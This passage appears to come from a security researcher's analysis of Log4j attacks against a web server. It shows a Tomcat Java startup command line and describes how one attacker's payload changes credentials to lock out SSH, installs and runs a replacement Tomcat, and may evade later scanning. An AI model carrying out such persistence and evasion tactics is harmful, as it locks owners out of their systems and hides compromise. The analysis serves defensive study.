/usr/java/latest/bin/java -Djava.util.logging.config.file=/data/apache-tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -Djava.security.egd=file:/dev/./urandom -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Xms512M -Xmx5120M -server -XX:+UseParallelGC -Djavax.net.debug=ssl -Dignore.endorsed.dirs= -classpath /data/apache-tomcat/bin/bootstrap.jar:/data/apache-tomcat/bin/tomcat-juli.jar -Dcatalina.base=/data/apache-tomcat -Dcatalina.home=/data/apache-tomcat -Djava.io.tmpdir=/data/apache-tomcat/temp org.apache.catalina.startup.Bootstrap start

So it basically (not here) will change all of your credentials on run which locks you out of SSH and such, then unpacks a NEW version of Tomcat to /data/apache-tomcat and then run THAT version of Tomcat. Really sneaky, could end up patching the vulnerability and any future scanning would not detect the vulnerability, for instance.

R Mapping and Raw Logs

Moved to:

https://bcable.net/analysis-httpd-log4j_rawlogs.html

Additional Log4j Research

https://bcable.net/analysis-httpd-log4j_ircc2c.html